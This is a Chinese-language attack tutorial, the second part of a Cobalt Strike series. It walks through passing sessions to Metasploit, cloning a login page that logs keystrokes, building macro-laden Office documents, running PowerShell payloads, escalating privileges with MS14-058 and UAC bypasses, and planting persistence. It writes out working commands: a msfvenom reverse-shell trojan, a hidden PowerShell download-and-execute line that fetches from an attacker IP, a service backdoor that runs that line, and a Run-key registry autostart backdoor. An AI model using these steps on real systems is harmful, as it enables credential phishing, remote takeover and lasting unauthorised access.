Cobalt Strike使用教程二
0x00 前言
继前一章介绍了Cobalt Strike的基本用法,本章接着介绍如何攻击、提权、维权等。
0x01 与Metasploit联动
Cobalt Strike → Metasploit
msf开启监听模式
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j
创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)
利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose
返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)
Metasploit→ Cobalt Strike
当然这里也可以通过用msfvenom生成木马,再由CS发布
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe
此时再次查看msf发现获取到会话
至于后面怎么提权可以参考meterpreter使用教程
0x02 钓鱼攻击
点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入
然后在肉鸡上访问攻击机IP,访问克隆的网页
当受害者输入了用户名密码,CS在日志里会有记录
我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。
为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面
点击 Attacks->Web Driver-by->System Profiler
当我们访问192.168.183.147:81时会自动跳转到登录页面
在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler
当我们我们访问80端口点击确认后会跳转到正确的登录界面
0x03 宏钓鱼
点击Attacks->Packages->MS Office Macro
选择相应的监听器,点击Generate
上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。
点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。
当你打开启用宏的文档,CS便会接收到返回的会话
0x04 shellcode
CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator
这里以powershell为例
将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话
powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"
0x05 提权
elevate提权
Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit
点击Cobalt Strike->Script Manager来导入cna文件
选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权
0x06 权限维持
服务后门
点击Attacks->web driver-by ->script web delivery
点击launch生成如下命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"
在目标设备执行以上命令会拿到普通用户的权限,这里需要提权
打开beacon shell并执行命令
shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))\""
查看受害机器服务,发现名为name的服务项创建成功
不过此时该服务启动类型为手动,我们需要将其设置为自动
shell sc config "name" start= auto
设置服务的描述字符串
shell sc description "name" "description"
这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。
注册表后门
点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器
上传可以通过Explore>File Browser
当然这里也可以选择将exe设置为服务后门,方法同上
shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"
下面我们来演示一下如何设置注册表后门
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f
这样一个注册表自启动后门已经设置成功了